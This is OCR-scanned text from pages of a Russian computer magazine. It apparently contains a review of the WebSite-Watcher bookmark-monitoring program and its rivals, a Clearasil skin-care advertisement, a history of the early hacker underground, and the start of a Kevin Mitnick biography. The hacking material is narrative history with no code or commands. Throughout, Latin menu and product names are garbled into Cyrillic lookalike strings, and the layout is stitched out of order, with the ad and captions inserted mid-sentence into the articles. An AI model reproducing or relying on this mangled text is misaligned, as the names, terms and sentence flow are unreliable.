тры при проверке изменений) позволяют не учитывать 
этот хлам. Все равно он не нужен никому кроме автора. 
На закладке "АиІоШсЬ" (Автопроверка) в секции "Тіте 
Зейіпдз / АиІоШсЬ" (Установки времени / Автопровер- 
ка) можно настроить интервал, с которым ШЛ/ будет 
проверять данную страницу, указать определенные дни 
недели. К примеру, все тот же ИоМаМе, если я не оши- 
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баюсь, обновляется с часу до двух-трех ночи по Москве. 
Еще одна приятная особенность покоится на закладке 
"Кеуѵѵогсіз" (Ключевые слова). Проверяешь программу 
передач на завтра? Добавляй в раздел "НідЫідМ 
Кеуѵѵогсіз" (Подсветка ключевых слов) сочетания 
"х/ф", "т/с" и "Большая стирка". 

Если сайт обновился, ѴѴ5ѴѴ предлагает отправить ко- 
пию приятелю, воспроизвести звуковой файл, от- 
крыть страницу в браузере, запустить произвольную 
программу... Выбирай. 



<На страже событий> 

Базу мы составили. Самое время прикинуть, удобно ли 
с ней работать. ѴѴ5ѴѴ был создан для проверки сайтов 
на обновления. Соответственно, эта часть программы 
не должна подкачать просто по определению. Посмот- 
рим. Начнем с тотальной инспекции всех закладок - 
запускай команду "Вооктагкз | СІіеск аІІ Вооктагкз" 
(Закладки | Проверить все закладки). Окно с индикато- 
ром процесса (которое, кстати говоря, отключается в 
настройках) ничуть не мешает просмотру базы. Про- 
грамма зафиксирует все недоразумения в специально 
отведенной для этих целей папке "Еггогз" (Ошибки), 
посигналит указанным звуковым файлом и будет сми- 
ренно ожидать дальнейших инструкций. Если тебя кло- 
нит в сон, или просто время поджимает, воспользуйся 
выборочной проверкой. У любой папки есть всплываю- 
щее меню, в котором доступны команды "СІіеск 
Роісіег" (Проверить папку) или "СПеск Роісіег апсі 
ЗиЬТоІсІегз" (Проверить папки и подпапки). Как вариант 
- выделяешь мышкой необходимые сайты, после чего 
говоришь "Вооктагкз | СИеск зеіесіесі Вооктагкз" (За- 
кладки | Проверить выбранные закладки). 

Временные интервалы проверок устанавливаются как 
для всех папок, так и для каждой закладки в отдельнос- 
ти, после чего на них все равно можно наплевать при 
помощи команды "Вооктагкз | СПеск Вооктагкз 
(ЕхІепсІесІ орііопз)..." (Закладки | Проверить закладки 
(Расширенные опции). Судя по всему, следующим ре- 
лизом этих ребят станет эмулятор пользователя, кото- 
рый сам будет читать новости, временами рыдая/хохо- 
ча/изрыгая проклятия в зависимости от установленных 
плагинов. Одним словом, молодцы. Автоматическая 
проверка присутствует аж в двух вариантах - одинарная 
и периодическая. Периодическую можно настроить в 
диалоговом окне "Орйопз | ОепегаІ... | АиІоШсІѴ (Оп- 
ции | Общие... | Автопроверка), о ней мы уже говорили. 
Одинарная стартует всего один раз, по прошествии ука- 
занного тобой промежутка времени - "Вооктагкз | 
ОпеТітеШсІп..." (Закладки | Проверка в заданное вре- 
мя). Например, можно настроить ѴѴ5ѴѴ так, чтобы он за- 
пустил ее ранним утром, часа в 4. И связь получше, и 
пользователь поперек кровати дрыхнет. 



<Обзор владений> 

Для отображения сайтов используется стандартная ком- 
понента на движке ІпІегпеІ Ехріогег. 




Разбор полетов 



Выбери пункт меню "Ѵіеѵѵ | Іпіегпаі ргеѵіеѵѵ" (Вид | Встро- 
енный просмотр) либо кликни на любой закладке дважды. 
При помощи кнопок на панели инструментов ты сможешь 
открыть самую свежую версию сайта (все изменения по 
желанию подсвечиваются указанным в настройках цве- 
том), а также его предыдущий вариант. Специально для 
гурманов и системных аналитиков предусмотрено преоб- 
разование обеих версий в одну НТМЬстраницу. При этом 
обновленная закладка помещается в первый фрейм, а ус- 
таревшая - во второй. Фреймы можно разделять как по 
горизонтали, так и по вертикали. Если ѴѴ5ѴѴ некорректно 
сохранил страницу, ее никогда не поздно открыть в обык- 
новенном браузере. Какой тебе больше нравится - сис- 
темный (по умолчанию), встроенный, еще какой-нибудь? 
Как говорится, "делайте все что угодно с шоколадом 
ѴѴізра". Забавная фраза. Где-то я ее уже слышал... 




Приятно осознавать, что в кладовке валяется четыре 
корзины с пуговицами на все случаи жизни. Но если на 
пиджак нужна именно треугольная, причем с перламут- 
ровым черепом и как можно быстрее, настроение у хо- 
зяина уже не то (про хозяйку я вообще молчу). Разра- 
ботчики ѴѴ5ѴѴ со своими корзинами справляются. В про- 
грамме реализованы сразу два вида поиска. Первый - 
для начинающих пользователей. Он расположен в меню 
"Зеагсіп | РіпсІ..." (Поиск | Найти...). Никаких настроек, 
ничего лишнего - одинокая строка для ввода поисковой 
фразы. ѴѴ5ѴѴ просматривает свою базу и автоматически 
перемещает курсор на закладку, в которой содержится 
указанное словосочетание. Второй вариант посложнее - 
"Зеагсіі | Ехіепбесі Зеагсіі..." (Поиск | Расширенный по- 
иск...). Позволяет искать в определенной папке, не учи- 
тывать регистр символов и НТМІ_, проверять только но- 
вые или старые версии файлов. Товарищи, да он еще и 
регулярные выражения поддерживает... Уважаю. 



<Манипуляции с информацией 

И напоследок, несколько советов из серии "Как 
нам жить дальше?" 

1 . В жизни все бывает, в жизни все случается. "Не на- 
жимай! Уже нажал..." Страховая компания не занима- 
ется закладками Акакия Розенплентера из села Вы- 
гребные радости. Конфигурацию программы и всю 





Юниксоид Х-Стиль Кодинг 




Есть такая древняя пословица: 
если не можешь изменить то, что 
тебе не нравится, измени свое от- 
ношение к этому. Так что, если ты 
не знаешь, что делать с таким 
неприятным явлением, как, нап- 
ример, прыщи, придется нау- 
читься получать от них удоволь- 
ствие. А чтобы тебе было легче, 
мы составили список 10 причин, 
почему клево ходить с прыщами. 

1. Тебе не придется тратить деньги на подарок 
ко дню Святого Валентина... да и к 8 марта, ну 
разве что маме. 

2. Ты в совершенстве освоишь технику 
ретуширования фотографий в РНоІозНор. 

3. На дискотеке тебе придется платить только 
за себя. 

4. В кафе никто не подсядет за твой столик. 

5 . Никто не придерется к тому, что ты небрит 
- у тебя железная отмазка. 

6. В баре можешь не боятся, что какая-нибудь 
девчонка попросит тебя угостить ее коктейлем. 

7 . Окружающим понятно, что ты созрел для 
половой жизни. 

8. На празднование Хелоуина тебе не придет- 
ся заморачиваться с выбором маски 

9 . У тебя всегда есть особые приметы. 

10 . Ты всегда будешь человеком с незабывае- 
мой внешностью. 

Впрочем, если ты не хочешь насильно при- 
учать себя к этим «прелестям» и не собира- 
ешься мириться с прыщами - выход есть! 

Клерасил решит твои проблемы. Ведь един- 
ственное, что действительно важно - твоя 
чистая кожа и уверенность в себе! 




Гель для умывания Клерасил Комплит "3 в 1". 

Гелем рекомендуется пользоваться утром и вече- 
ром, он обеспечивает глубокое очищение кожи и 
пилинг. Для кожи, склонной к раздражениям и ал- 
лергии, предназначен Гель для умывания Клерасил 
Комплит для чувствительной кожи "3 в 1". 



Крем от угревой 
сыпи Клерасил 

Крем наносится на 
воспаленные участ- 
ки кожи, а затем со- 
держащиеся в нем 
триклозан и сера 
глубоко проникают в 
поры кожи, уничто- 
жают бактерии и 
поглощают излишки 
жира, вызывающие 
появление воспали- 
тельных форм угре- 
вой сыпи, и подсушивают прыщи. Крем нано- 
сится утром и вечером в виде точечной маски, 
оставляется на 15 - 20 минут, после чего ос- 
татки крема можно удалить салфеткой. 












поисковую базу желательно хранить в сухом и прохлад- 
ном месте. В главном меню программы есть раздел 
"Васкир" (Резервировать). С его помощью ты легко 
сможешь упаковать встроенным архиватором всю кон- 
фигурацию, архив и закладки. 

2 . Подшивка "Правды" за 89-й год, журнал "Мурзил- 
ка", "Ядерная физика"... Вся библиотека на одном сто- 
ле не поместится, да и неудобно это - есть же полки, 
шкаф. С закладками та же история. ѴѴ5ѴѴ предлагает 
хранить историю обновлений в специальном архиве - 
"Вооктагкз | АгсЫѵе..." (Закладки | Архив...). Софто- 
вые сайты наподобие Мо№Ме обновляются каждый 
день, поэтому есть смысл хранить все выпуски, а не 
только последние две версии. В архиве своя структура 
папок, есть поиск, экспорт и резервное копирование. 
Может получиться вполне приличная библиотека. 




Под слоем пыли 



3. Лично я в восторге от того, как ѴѴ5ѴѴ закладки экс- 
портирует. СНМ - сжатые файлы с оглавлением и собст- 
венной оболочкой. Занимают в несколько раз меньше 
места, есть готовый поиск. Выбираешь пункт 
"Вооктагкз | Ехроіі Іо СНМ йіе..." (Закладки | Экспорт в 
СНМ-файл) и добавляешь себе 25 минут жизни, наслаж- 
даясь добросовестным пыхтением хорошей программы. 
Как результат - получаешь книжку. "Видеозаметки от 
Экслера", "Анекдоты от Вернера", "258 закусок из дра- 
ной тапки для студенческой столовой" и т.д. 




ОівкоѴѴаісГітап 
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Если число твоих любимых сайтов переваливает 
за Наиболее интересной из всех конкурентов 
ѴѴеЬѴѴаІсІіег является программа Аѵѵази. Она под- 
держивает В55-каналы, в которых уже содержится 
вся необходимая информация с обновлениями 
нужной тебе страницы. Разумеется, веб-мастер 
должен об этом позаботиться. Просто добавля- 
ешь ссылку на такой канал и читаешь, читаешь, 
читаешь. Конечно, этот сервис не самый распро- 
страненный в мире, но как вариант определенно 
пригодится - настоящий подарок для лени... для 
серьезного делового человека. Более того, к тво- 
им услугам поддержка плагинов на любом (НА 
ЛЮБОМ) языке программирования. Единственное 
условие - программа должна уметь читать из ІІМІ- 
файла и выдавать результат работы на консоль. 
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Будь проще, и люди к тебе потянутся. А кто спо- 
рит? Далеко не каждый пользователь спит и видит 
1 56 закладок в окошке для настройки простенько- 
го канала обновлений. Если простота и доступ- 
ность для тебя намного важнее богатырских воз- 
можностей, скажи свое искреннее "Здрасьте" про- 
грамме ОізкоШсІітап. Минимальное количество 
резких движений - и ты уже властелин информа- 
ции. Программа самостоятельно разделяет кон- 
тент указанной страницы на отдельные блоки текс- 
та и ссылок. Копируй, сохраняй, наслаждайся. 



ѴѴаІгЫеѵѵ 
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Экспорт в формат СНМ 



Ну, не успел я обо всем рассказать, не успел. И 
РТР он поддерживает, и весь сайт проверить мо- 
жет, в РОЗТ и СЕТ не путается, отчеты по шабло- 
нам стряпает. И не нужно зря по сайтам бегать. 
Поставил автоматическую проверку на ночь - и 
спать рухнул. Утром страницы уже базе. Все на 
полочках, в алфавитном порядке. Так кто • 
у нас рулевой? Без вариантов. Переда- 
вай привет сэкономленной наличности. Щ м 




Свободное время сетевого маньяка измеряется на 
вес золота. Если ты не планируешь создавать мас- 
сивные архивы любимых сайтов, а лишнее место 
на рабочем столе стремится к нулю, есть смысл 
поискать что-нибудь попроще. Скачай ѴѴаІг №\л/, 
опробуй миниатюрного конкурента. На смену вло- 
женным папкам и предпросмотру на движке М5ІЕ 
придет компактная лента последних новостей в 
правом углу твоего экрана. Несмотря на кажущую- 
ся простоту интерфейса, ШШ&л подкупает нео- 
граниченными возможностями языка РегІ (ты смо- 
жешь сам написать процедуру для проверки об- 
новлений), многочисленными примерами каналов 
(есть специализированные сайты) и абсолютной 
наглядностью. Попробуй, не пожалеешь. 



СНеск&СеІ 
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Если число твоих любимых сайтов переваливает за 
сотню, в дополнение к браузеру тебе действительно 
стоит попробовать какой-нибудь из продвинутых ме- 
неджеров закладок: либо ѴѴеЬЗіІе-ШсІіег, либо... 
СІіеск&Оеі. Обе программы работают в тесном кон- 
такте с любым из популярных браузеров (ІЕ, NN. 
Орега), позволяют "закладывать" сайт одним кликом, 
сортировать закладки по категориям и проверять все 
"заложенные" веб-страницы на наличие изменений 
или дополнений. Но Оіеск&ОеІ больше подходит для 
управления "мелкими" коллекциями из двух-трех со- 
тен закладок. Он прост в использовании, обладает 
приятным интерфейсом и бесплатен (абѵѵаге). 
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ЧЕТВЕРТАЯ СТАТЬЯ ИЗ СЕРИИ «ИСТОРИЯ КОМПЬЮТЕРНОГО АНДЕГРАУНДА» 



Из-за своего размера и космической цены компьютеры долгое время были недоступны простым 
смертным. Компанию ІВМ, владевшую в 50-х годах 95% всего компьютерного рынка, вполне 
устраивали многомиллионные продажи и правительственная клиентура. Поэтому ее руководство 
даже не пыталось начать разработки домашних машин. Первые попытки сделать что-либо подобное 
начала фирма "Оідііаі ЕциіртепГ, собиравшая намного более компактные и удобные компьютеры, 
цена которых была в десятки раз меньше, чем на гиганты ІВМ. Но только в середине 70-х на 
прилавках стали появляться настоящие персоналки. Небольшие и маломощные, но уже доступные, 
они привлекли внимание молодых ребят и открыли им дорогу в новый мир. 



<Компьютер на Рождество> 



Для большинства людей конца 70-х компьютеры были 
вещью далекой и непонятной. О них писала пресса, их 
показывали по телевизору, но информация эта была 
еще очень скупой. Одно казалось очевидным - компью- 
терная индустрия представляла собой едва ли не самую 
перспективную область развития. И дальновидные роди- 
тели, заботясь о будущей карьере своих отпрысков, по- 
купали им первые Аіагі, Соплплосіог'ы и Арріе в подарок 
на Рождество. В коробке помимо самого компьютера 
поставлялась скромная инструкция по эксплуатации, а 
иногда и брошюра с описанием языка Бейсик. В те да- 
лекие дни специализированной литературы в магазинах 
не было, и тем, у кого в руках оказывалось это чудо, 
приходилось разбираться во всем самостоятельно. Ко- 
нечно, первое, чем занимались счастливые обладатели 
8-битной персоналки - играли в игрушки (преимущест- 
венно текстовые адвенчуры). Но игры делались неболь- 
шими, да и особой распространенности еще не получи- 
ли. Поэтому, пройдя первую, вторую, третью, игроман 
начинал задумываться, что же еще умеют эти машины. 

И потихоньку втягивался в программирование. 

Далеко не всем повезло с проницательными родителя- 
ми. Многие открывали для себя компьютер самостоя- 
тельно, благодаря увлечению электроникой или после 
прочтения статей в технических журналах. В то время 



как компьютерные компании вкладывали тысячи долла- 
ров в разработку своих будущих хитов, рядом всегда 
находились умельцы, изготовлявшие компьютеры свои- 
ми силами. Диод за диодом они собирали свои поддел- 
ки, напоминавшие компьютеры, и отправляли их схемы 
в редакции подходящих изданий. Некоторые шли даль- 
ше и организовывали свой маленький бизнес, продви- 
гая на рынок своеобразные конструкторы - наборы зап- 
частей со схемой сборки, из которых можно было со- 
брать вполне работоспособную персоналку. Стоили та- 
кие коробочки всего сто долларов, что было на порядок 
доступнее готовой продукции (компьютер Арріе] [, на- 
пример, поставлялся по цене 1298 долларов). 

Еще одним из путей, приводивших молодых ребят в 
мир компьютеров, стали первые компьютерные клубы. 

В конце 70-х компьютерщики -энтузиасты создали в 
Америке немало таких заведений. Чаще всего клуб 
представлял собой небольшое подвальное помещение, 
захламленное всевозможными радиодеталями, в центре 
которого находилось несколько самодельных персона- 
лок. Поработать на них разрешалось любому желающе- 
му, хозяева даже развешивали объявления, приглашая 
разделить с ними увлечение компьютерами. Для многих 
такие заведения стали отдушиной, местом, где можно и 
потусоваться с ровесниками, и с головой уйти в освое- 
ние этих привлекательных машин. 



<Военные Игры> 



Несмотря на то, что компьютер представлял собой бес- 
крайнее поле для изучения и затягивал тем сильнее, 
чем больше о нем удавалось узнать, для полного счас- 
тья чего-то не хватало. Не новых игрушек, не более 
мощных железок - общения. Компьютерщики были про- 
двинутой, но пока еще очень немногочисленной культу- 
рой. И найти братьев по разуму, с которыми можно об- 
судить ту или иную игрушку или с гордостью поделить- 
ся своей программой, становилось реальной пробле- 
мой. Поэтому, узнав о модеме и ВВ5, ребята приклады- 
вали все усилия, чтобы получить столь желанную вещь. 
Цена, правда, кусалась - самый простой акустический 
модем на 300 бод стоил в районе $300, но новые воз- 
можности окупали эти деньги с лихвой. 

Даже при наличии модема найти телефоны ВВЗ’ок бы- 
ло не так-то легко. Чаще всего заветные номера нахо- 
дились на дисках с коммерческим ПО. Продавцы, тор- 
гующие программами, обычно были постоянными по- 
сетителями досок и распространяли таким образом ин- 
формацию. Достав один номер, узнать другие уже не 
составляло труда - сисопы практически всегда оставля- 
ли ссылки на дружественные борды. 

Парни, которые с энтузиазмом углублялись в компью- 
терные дебри, были интеллектуальными, любознатель- 
ными личностями. Стараясь узнать о предмете своего 
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СоттосІоге64" - самая желанная игрушка начала 80-х 
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Журнал "ПасІіо-ЕІесігопісз" за 
1974 г. Внутри руководство по 
сборке компьютера МАКК-8. 



<Раае 047> 



Обычно для проведения взлома использовались ком- 
пьютеры-посредники - мощные серверы, предоставляв- 
шие разные коммерческие услуги. Компании, владею- 
щие этими машинами, можно назвать прародителями 
первых интернет-провайдеров. Любой желающий, внеся 
ежемесячную плату (баксов 50), мог получить аккаунт и 
использовать его для электронной переписки, чата или 
просмотра публичных баз данных. Юзерские логины 
имели много ограничений, но если удавалось захватить 
высокопривилегированный аккаунт, появлялось много 
дополнительных возможностей, от выхода в АРРАпеі до 
полного контролирования системы. Хакер использовал 
свою домашнюю персоналку как терминал и, удаленно 
управляя "посредником", проникал через него в наме- 
ченную систему. А когда администратор, обнаружив 
вторжение, пытался выйти на след, размотанная цепоч- 
ка приводила к коммерческому мейнфрейму, которым 
пользовались сотни людей. Каждый уважающий себя ха- 
кер имел как минимум один аккаунт (обычно созданный 
на себя с захваченного рута) в подобных системах, и ча- 
сто эти компьютеры становились местом встречи и ри- 
алтаймового общения опытных взломщиков. 

Хакеры, доверяющие друг другу, часто объединялись в 
группы. Члены одной команды всегда могли рассчиты- 
вать на своих товарищей, а совместными усилиями поко- 
рение компьютерных систем давалось легче и эффектив- 
нее. Одной из самых известных первых хакерских групп 
была "414" (название взято из кода зоны Висконсина, 
где жили все ее члены). В 1982 г. шестерым ребятам из 
этой банды, которым не было еще и 18, удалось за 9 
дней проникнуть на 60 компьютеров самых разных орга- 
низаций. В числе их жертв были Центр по изучению ра- 
ковых болезней, военная база Лос Аламос, институт Бер- 
кли и многие другие коммерческие и правительственные 
серверы. Когда через несколько месяцев их поймали, и 
инцидент выплыл наружу, десятки газет посчитали своим 
долгом сообщить об этом читателям. Пресса окрестила 
этот случай "ІМіпе сіауз ѵѵопсіег" (девятидневное чудо) и 
положила начало долгой компании под лозунгом "Хакеры 
- угроза всеобщему миру и спокойствию". 

То Ье сопііпиесі... 



бинациями, пред- 
почитая ставить 
себе одинаковые 
логин и пароль 
(часто это был 
риалнейм). Начи- 
нающему хакеру 
оставалось только 
узнать телефон 
(компании публи- 
ковали его в сво- 
их рекламных 
брошюрах) и, на- 
бравшись терпения, начать перебор. Рано или поздно 
взломщик проникал в систему, тут-то и начиналось самое 
интересное. Узнать, какая операционка установлена на 
удаленном хосте, неопытному взломщику было не так лег- 
ко, и из-за отсутствия информации ему приходилось сно- 
ва заниматься перебором. Только теперь уже команд. Ме- 
тодом проб и ошибок, переборов и интуитивных нажатий, 
познавались новые истины, повышалась квалификация. 

В то время как администраторы и компьютерные экс- 
перты обменивались документацией и своими находка- 
ми по сети АПРАпеІ, хакеры делились результатами ис- 
следований на андеграундных ВВ5. Для новичка это бы- 
ла школа жизни и этических норм. Место, где ты всегда 
мог получить ответ на свой вопрос - авторитетные гуру 
с удовольствием консультировали менее опытных кол- 
лег. Когда речь заходила о серьезных знаниях, хакеры 
нередко осуществляли натуральный обмен. Например, 
один специализировался на операционной системе 
ТОР5-Ю, другой хорошо разбирался в архитектуре се- 
тей ОЕСМЕТ, обмен информацией расширял возможно- 
сти каждого. Общение на ВВ5 доставляло удовольствие 
и являлось неотъемлемой частью уже сформировавше- 
гося хакерского сообщества, но без практики все полу- 
ченные знания не стоили ни гроша. Как только наступа- 
ла ночь, хакеры садились за свои персоналки и присту- 
пали к исследованию удаленных компьютерных систем. 
"Кто владеет информацией, тот владеет миром" - для 
хакеров эта фраза стала своего рода девизом. И чем 
менее доступной была информация, тем больше удо- 
вольствия получал взломщик от ее добычи. 
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увлечения как можно больше, они искали новые источ- 
ники информации. И так как книжные магазины не 
могли предложить ничего полезного, они обращали 
внимание на корпоративные серверы, закрытые для 
посторонних. Где-то внутри этих мощных машин лежа- 
ли ответы на многочисленные вопросы. Предназначен- 
ные исключительно для технического персонала, за- 
крытые на замок от простых людей. Постоянные участ- 
ники ВВ5 не могли с этим смириться. 

В 1983 г. в кинотеатрах Америки состоялась премьера 
нового фильма "ѴѴагСаплез". Эта картина вызвала бурный 
всплеск эмоций у общественности и открыла миру глаза 
на новое явление под названием хакерство. Фильм рас- 
сказывал про молодого паренька по имени Дэвид, кото- 
рый с помощью своего домашнего компьютера проник в 
военную систему М.О.В.А.Р. и получил доступ к управле- 
нию ядерными боеголовками. Считая, что он обнаружил 
новую компьютерную игрушку, Дэвид (Мэтью Бродерик) 
чуть было не развязал третью мировую войну. Но образ 
главного героя не был криминальным. Авторы изобрази- 
ли романтического странника в компьютерных сетях, 
свободно блуждающего по серверам крупнейших корпо- 
раций и секретным объектам военных, хакера, для кото- 
рого не было преград. Простые люди, уверенные в том, 
что "Большой Брат" держит технологии в железном кула- 
ке, увидели, с какой легкостью обычный тинейджер мо- 
жет посягнуть на государственные тайны, и какой влас- 
тью могут обладать компьютерные взломщики. Для мо- 
лодых ребят, увлеченных компьютерами, этот фильм 
стал откровением и переломным моментом в жизни. 
Впоследствии многие хакеры, ставшие элитой компью- 
терного андеграунда, скажут, что именно "ѴѴагСаплез" 
вдохновил их на изучение компьютерной безопасности. 



<Сетевые просторы> 



Это было время, когда коммерческие организации только- 
только приступили к освоению компьютерных просторов. 
Вопрос безопасности стоял не столь актуально, как удоб- 
ство системы для неподготовленных пользователей, и 
компании сводили все ограничения к разумному миниму- 
му. Сами юзеры тоже не заморачивались сложными ком- 
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Движение поклонников "Освободите Кевина" 



Кевин Дэвид Митник 



Компьютер ТП5-80 



ХАКЕР\№5 1 \Маот\20ОЗ 



<Раае 04Ѳ> 



Ри ^опе 



Митник: 



КЕВИН МИТНИК: ИСТОРИЯ ЖИЗНИ ЛЕГЕНДАРНОГО ХАКЕРА 



ндарного хакера 



9 МіпсІѵѵОгк <шіпсІѵѵОгк(д)таіІ.ги> 



Ноутбук, на котором 
Кевин Митник 
занимался хакерством в 
начале 90-х (модель 
ТозЫЬа Заіеііііе 44008Х, 
4863X25) 
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<Лос-Анджелес> 



Как и многие фрикеры 70-х, Кевин Дэвид Митник родился 
в неблагополучной семье. Его родители часто ссорились, 
в квартире регулярно летали тарелки и раздавалась ру- 
гань. Рождение ребенка ничего не изменило. Когда в 
1 966 г. маленькому Кевину исполнилось 3 года, родите- 
ли, наконец, развелись. Мать забрала сына и переехала в 
Лос-Анджелес, где устроилась официанткой в один из 
местных пивных баров. Ее рабочий день начинался рано 
утром и заканчивался поздно вечером, все это время Ке- 
вину приходилось развлекать себя самому. Впрочем, ску- 
чать ему не приходилось. Практически каждый день, вме- 
сто школы, Кевин отправлялся в путешествие по улицам 
большого города. Его привлекали огни Лос-Анджелеса, 
шум и суета вокруг. Часто он садился на автобус и ехал в 
новый район, чтобы к вечеру изучить все его закоулки. 

Так как частые поездки обходились недешево, вскоре Ке- 
вин придумал способ пользоваться общественным 
транспортом бесплатно. Для этого нужно было только 
найти использованный проездной и подделать дату. По- 
сле этого открытия ему уже не приходилось думать, где 
достать деньги на проезд. 

Другим детским увлечением Кевина была магия. Он с 
восторгом наблюдал за выступлением фокусников, лю- 
бил раскрывать их секреты и затем повторять самому. 
Узнав о каком-нибудь новом трюке, юный фокусник по- 
долгу тренировался, чтобы овладеть им в совершенстве. 
Он знал, что это обман, но обманывать людей было так 
легко и так интересно. 

В связи с финансовыми трудностями Кевину и его матери 
приходилось постоянно перебираться в новые районы. Не 
успевал он привыкнуть к одной школе, как уже нужно бы- 
ло идти в другую, и далеко не всегда новичку в классе 
оказывали теплый прием. С 12 лет к увлечениям Кевина 
прибавились шалости с телефоном, которые давали ему 
возможность безнаказанно подшучивать над обидчиками. 



<Вступление в сообщество фрикеров> 



Первое знакомство с фрикингом состоялось в старшем 
классе школы. Однажды Митник случайно увидел, как 
преподаватель отчитывает какого-то ученика за телефон- 
ное хулиганство. Заинтересовавшись, чем этот парень 
мог так разозлить учителя, Кевин дождался его после за- 
нятий, и новый знакомый рассказал, какие вещи можно 
вытворять с телефонами с помощью простых сигналов. А 
через несколько дней фрикер продемонстрировал, как 
легко можно вытянуть любые сведения у неподготовлен- 
ного сотрудника компании, всего лишь представившись 
другим человеком. Тогда Кевин Митник впервые узнал, 
что такое социальная инженерия. 

Школьное знакомство не прошло для Кевина даром - он 
заболел новым увлечением. Часами изучая техническую 
документацию, запоминая телефонную терминологию и 
практикуясь в искусстве обмана, он всего за пару недель 
сумел переплюнуть своих наставников, периодически под- 
шучивая над ними (например, переключал сигнал их до- 
машних телефонов на код таксофона - каждый раз, когда 
они снимали трубку, раздавалось: "Для начала разговора 
опустите 10 центов"). Уже через полгода Митник стал од- 
ним из самых квалифицированных телефонных взломщи- 
ков в Лос-Анджелесе. А в шестнадцать лет юный фрикер 
впервые открыл для себя мир компьютеров. Эти умные 
машины были намного сложнее телефонов, поэтому сразу 
привлекли его внимание. Продолжая заниматься фрикин- 
гом, Кевин стал быстро осваивать новые просторы, прово- 
дя массу времени в школьном компьютерном классе. 
Первый компьютерный взлом Митник осуществил в 80-м 
году. Чтобы проникнуть в сердце школьной локалки, до- 
статочно было всего лишь подобрать простенький пароль 
админа, что он и сделал. В базе данных хранились оцен- 
ки всех учащихся, можно было легко нарисовать себе от- 
личную успеваемость. Но Кевину это было не нужно. Для 
него был важен сам факт проникновения в закрытую сис- 
тему, и те чувства, которые он при этом испытал. 



<Кевин и Роско> 



После окончания школы Кевин поступил на курсы Ком- 
пьютерного Центра Лос-Анджелеса. Уже через два месяца 
интенсивного обучения он сумел обнаружить уязвимость 
в операционной системе и, воспользовавшись этим, по- 
лучил высшие привилегии. Кто-то из технического персо- 
нала заметил вторжение и сообщил начальству. Его вы- 
числили, однако, никто так и не понял, как Митнику уда- 
лось это сделать. Ему предложили выбор: поработать над 
улучшением безопасности системы или ответить за соде- 
янное. Причин отказываться от работы не было. К тому 
же, Кевину предоставили полную свободу действий. Он 
мог постоянно находиться рядом с компьютерами, изу- 
чать их слабые стороны и оттачивать свое мастерство. 

В конце 70-х в жизни Кевина Митника появился Роско - 
невысокий худощавый парень, ставший его первым на- 
стоящим другом. В то время Роско работал оператором 
крупнейшей в Лос-Анджелесе частной телефонной кон- 
ференции НОВО-ІІРО и увлекался фрикингом. В 1980 го- 
ду они, а также присоединившиеся вскоре Сюзан Сандер 
и Стив Роудс, объединились в одну из первых хакерских 
групп, устраивавших переполох в рядах телефонных и 
компьютерных администраторов. 

К тому времени Кевин Митник уже знал о телефонных сис- 
темах намного больше, чем средний оператор, и настолько 
преуспел в искусстве заговаривать людям зубы, что впол- 
не мог заставить служащего компании проехать ночью де- 
сятки километров и передать ему лично в руки конфиден- 
циальную информацию. Благодаря своему мягкому, распо- 
лагающему голосу, Митник научился входить в доверие да- 
же к самым осторожным людям. Совмещая навыки соци- 
альной инженерии со своими компьютерными талантами, 
он мог проникнуть в любую систему. Вместе с Роско на 
съемной квартире они проводили ночи напролет у своей 
персоналки, захватывая поочередно компьютеры всех из- 
вестных им компаний, причем делали это столь професси- 
онально, что для админов не оставалось ни одной зацепки. 
В конце 1981 года Роско бросил Сюзан, с которой встре- 
чался на протяжении двух лет. Бывшая союзница и неког- 
да член группы, она решила во что бы то ни стало ото- 
мстить неверному и отправилась в департамент полиции 
с предложением раскрыть все темные делишки своих со- 
общников, если федералы закроют глаза на ее собствен- 
ные проступки. Сюзан предоставила неоспоримые дока- 
зательства, и Роско с Кевином пришлось признать себя 
виновными. Роско дали 150 дней тюрьмы, Митник же, 
благодаря своему несовершеннолетию, отделался тремя 
месяцами психологических нравоучений и годом условно. 



<СопсІог> 



"Три дня Кондора" был любимым фильмом Кевина. На 
него произвел такое сильное впечатление герой Робер- 
та Рэдфорда - студент, завербованный ЦРУ и выполня- 
ющий секретные задания, что прозвище агента он сде- 
лал своим псевдонимом. 

После судебного разбирательства Кевин Митник не оста- 
вил своего увлечения. Позволить себе собственный ком- 
пьютер он не мог, поэтому облюбовал один из магазинов 
"Радио Шек", где стояли служебные машины ТР5-80. Не- 
сколько минут их позволялось использовать любому жела- 
ющему, но медоречивому Кевину удавалось уговорить ме- 
неджера разрешить ему поработать до самого закрытия. 
Когда хакера, злоупотреблявшего терпением работников 
"Радио Шек", перестали пускать на порог, он перебрался 
в институт, где пользовался терминалами компьютерных 
классов. Во второй половине 80-х в список жертв Кондора 
попали: 5ип Місгозузіетз, ІМоѵеІІ, Моіогоіа, РЕС, ИАЗА, 
ТІпеѴѴеІІ, Ие^сот, С5СМ5, Массачусетский университет и 
многие другие крупные организации. Кевин всегда был на 
шаг впереди агентов спецслужб и администраторов, пы- 
тавшихся выйти на его след. Ему удалось проникнуть во 
внутреннюю сеть ФБР и установить программу, перехва- 
тывающую сообщения преследующих его людей. Но он 
был настолько уверен в своих способностях, что нередко 



забывал об осторожности. Результатом стали аресты Мит- 
ника в декабре 1987 года за кражу софта из Запіа Сш г 
Орегайоп (3 года условно) и в ноябре 1988 года за про- 
никновение в сети компании ЭЕС (год тюрьмы). 

В начале 90-х вновь был выписан ордер на арест Кевина 
Митника, но хакер сразу же узнал об этом из переписки 
федералов и пустился в бега. В связи с огромным коли- 
чеством взломов (Кондор практически каждый день раз- 
делывал новую систему), ФБР поместило его в список 
самых опасных и наиболее активно разыскиваемых пре- 
ступников. Но найти его не удалось. Только через два го- 
да он вышел из тени и вернулся в Лос-Анджелес. При 
этом из картотеки полиции загадочным образом исчезли 
все упоминания о Кевине Митнике. 



<Противостояние> 



Однажды, переписываясь с израильским приятелем-ха- 
кером, Кондор узнал, что некий ведущий специалист по 
сетевой безопасности Тсугому Шимомура по заказу во- 
енных написал продвинутый снифер, полностью автома- 
тизирующий процесс фильтрации и перехвата пакетных 
данных. Митник решил завладеть этой утилиткой любой 
ценой. 25 декабря 1994 года, когда Шимомура находил- 
ся в отпуске, Кевин взломал мудреную защиту его до- 
машней системы и перекачал большую часть софта на 
один из присвоенных аккаунтов в ТІпе ѴѴеІІ (интернет-про- 
вайдер). Помимо желаемой игрушки там была куча дру- 
гих интересных зесигйу-программ, а также исходники ПО 
нового сотового телефона. 

Оскорбленный самурай (по отцу Тсугому был японцем) 
пообещал поймать взломщика и, отложив свои повседнев- 
ные дела, полностью углубился в расследование инциден- 
